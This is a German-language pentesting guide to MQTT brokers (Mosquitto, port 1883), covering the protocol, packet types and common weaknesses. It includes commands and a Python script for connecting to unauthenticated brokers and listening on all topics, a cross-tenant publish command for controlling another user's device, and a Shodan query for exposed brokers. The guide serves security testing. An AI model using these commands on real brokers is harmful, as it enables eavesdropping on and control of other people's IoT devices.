1883 - Pentesting MQTT (Mosquitto)

Reading time: 7 minutes

Grundlegende Informationen

MQ Telemetry Transport (MQTT) ist bekannt als ein Publish/Subscribe-Nachrichtenprotokoll, das sich durch extreme Einfachheit und geringe Ressourcenanforderungen auszeichnet. Dieses Protokoll ist speziell auf Umgebungen zugeschnitten, in denen Geräte nur über begrenzte Fähigkeiten verfügen und über Netzwerke mit niedriger Bandbreite, hoher Latenz oder unzuverlässigen Verbindungen arbeiten. Die Hauptziele von MQTT sind die Minimierung der Nutzung von Netzwerkbandbreite und die Verringerung der Anforderungen an Geräte-Ressourcen. Zusätzlich zielt es darauf ab, zuverlässige Kommunikation aufrechtzuerhalten und ein gewisses Maß an Zustellgarantie zu bieten. Diese Ziele machen MQTT besonders geeignet für das schnell wachsende Feld der Maschine-zu-Maschine (M2M) Kommunikation und des Internet der Dinge (IoT), wo es wesentlich ist, eine Vielzahl von Geräten effizient zu verbinden. Darüber hinaus ist MQTT sehr vorteilhaft für mobile Anwendungen, bei denen die Schonung von Bandbreite und Akkulaufzeit entscheidend ist.

Standardport: 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

Datenverkehr inspizieren

Wenn ein CONNECT-Paket von einem MQTT-Broker empfangen wird, sendet dieser ein CONNACK-Paket zurück. Dieses Paket enthält einen Rückgabecode, der entscheidend zum Verständnis des Verbindungsstatus ist. Ein Rückgabecode von 0x00 bedeutet, dass die credentials akzeptiert wurden und die Verbindung erfolgreich ist. Hingegen signalisiert ein Rückgabecode von 0x05, dass die credentials ungültig sind und die Verbindung verhindert wird.

Wenn der Broker beispielsweise die Verbindung aufgrund ungültiger credentials ablehnt, würde das Szenario etwa so aussehen:

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication is totally optional und selbst wenn Authentication durchgeführt wird, wird encryption is not used by default (credentials are sent in clear text). MITM attacks können trotzdem ausgeführt werden, um Passwörter zu stehlen.

Um dich mit einem MQTT-Service zu verbinden, kannst du verwenden: https://github.com/bapowell/python-mqtt-client-shell und dich auf alle Topics abonnieren, indem du:

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

Sie könnten auch https://github.com/akamai-threat-research/mqtt-pwn

Sie können auch Folgendes verwenden:

apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

Oder du könntest diesen Code ausführen, um zu versuchen, dich mit einem MQTT-Service ohne Authentifizierung zu verbinden, alle Topics zu abonnieren und ihre Nachrichten mitzuhören:

#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

Das Publish/Subscribe-Modell

Das Publish/Subscribe-Modell besteht aus:

• Publisher: veröffentlicht eine Nachricht an ein (oder mehrere) Topic(s) im Broker.
• Subscriber: abonniert ein (oder mehrere) Topic(s) im Broker und erhält alle Nachrichten, die vom Publisher gesendet werden.
• Broker: leitet alle Nachrichten von den Publishern an die Subscriber weiter.
• Topic: besteht aus einem oder mehreren Ebenen, die durch einen Schrägstrich getrennt sind (z. B. /smartshouse/livingroom/temperature).

Paketformat

Jedes MQTT-Paket enthält einen festen Header (Abbildung 02). Abbildung 02: Fester Header

Pakettypen

• CONNECT (1): Vom Client initiiert, um eine Verbindung zum Server anzufordern.
• CONNACK (2): Bestätigung des Servers für eine erfolgreiche Verbindung.
• PUBLISH (3): Wird verwendet, um eine Nachricht vom Client an den Server oder umgekehrt zu senden.
• PUBACK (4): Bestätigung eines PUBLISH-Pakets.
• PUBREC (5): Teil des Nachrichtenlieferprotokolls, das sicherstellt, dass die Nachricht empfangen wurde.
• PUBREL (6): Weitere Bestätigung bei der Nachrichtenlieferung, die die Freigabe einer Nachricht anzeigt.
• PUBCOMP (7): Abschließender Teil des Nachrichtenlieferprotokolls, der den Abschluss anzeigt.
• SUBSCRIBE (8): Anfrage eines Clients, Nachrichten von einem Topic zu abonnieren.
• SUBACK (9): Bestätigung des Servers für eine SUBSCRIBE-Anfrage.
• UNSUBSCRIBE (10): Anfrage eines Clients, keine Nachrichten mehr von einem Topic zu empfangen.
• UNSUBACK (11): Antwort des Servers auf eine UNSUBSCRIBE-Anfrage.
• PINGREQ (12): Vom Client gesendete Heartbeat-Nachricht.
• PINGRESP (13): Antwort des Servers auf die Heartbeat-Nachricht.
• DISCONNECT (14): Vom Client initiiert, um die Verbindung zu beenden.
• Zwei Werte, 0 und 15, sind als reserviert markiert und deren Verwendung ist verboten.

Angriffe auf das IoT-MQTT-Ökosystem: plaintext-Broker und Umgehung von Topic-ACLs

Viele Consumer-IoT-Plattformen stellen MQTT-Broker bereit, die von zwei unterschiedlichen Rollen genutzt werden:

• Gateway-/Hub-Geräte, die Funkprotokolle (z. B. BLE/LoRa/Zigbee) mit der Cloud verbinden.
• Mobile Apps oder Web-Backends, die Geräte über „app“-Topics steuern.

Häufige Schwachstellen, die Sie bei einem pentest ausnutzen können:

• Plaintext MQTT über nicht standardisierte Ports (z. B. TCP/8001) statt MQTTS. Jeder On-Path-Beobachter kann Anmeldeinformationen und Steuerungsframes lesen. Verwenden Sie Wireshark, um Klartext-CONNECT/CONNACK- und SUBSCRIBE/PUBLISH-Verkehr auf ungewöhnlichen Ports zu erkennen.
• Schwache oder fehlende pro-Tenant-Topic-ACLs. Wenn Topics nur durch deviceId namespaced sind (z. B. "/tenantless//tx"), kann jeder authentifizierte Benutzer PUBLISH an die Geräte anderer Tenants senden.
• Sensitive data leak via maintenance/admin topics (e.g., Wi‑Fi credentials broadcast in cleartext after config changes).

Beispiele (ersetzen Sie Platzhalter durch reale Werte):

Abonnieren Sie potenziell sensible Topics mit bekannten Topic-Präfixen und device IDs:

# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

Cross-tenant-Kontrolle, wenn ACLs schwach sind (publish auf das device topic eines anderen Tenants):

mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

• port:1883 MQTT
• MQTT-Klartext auf nicht-standardmäßigen Ports ist in IoT üblich. Suche nach MQTT-Brokern auf alternativen Ports und bestätige dies mit Protokollerkennung.

Referenzen

• How a $20 Smart Device Gave Me Access to Your Home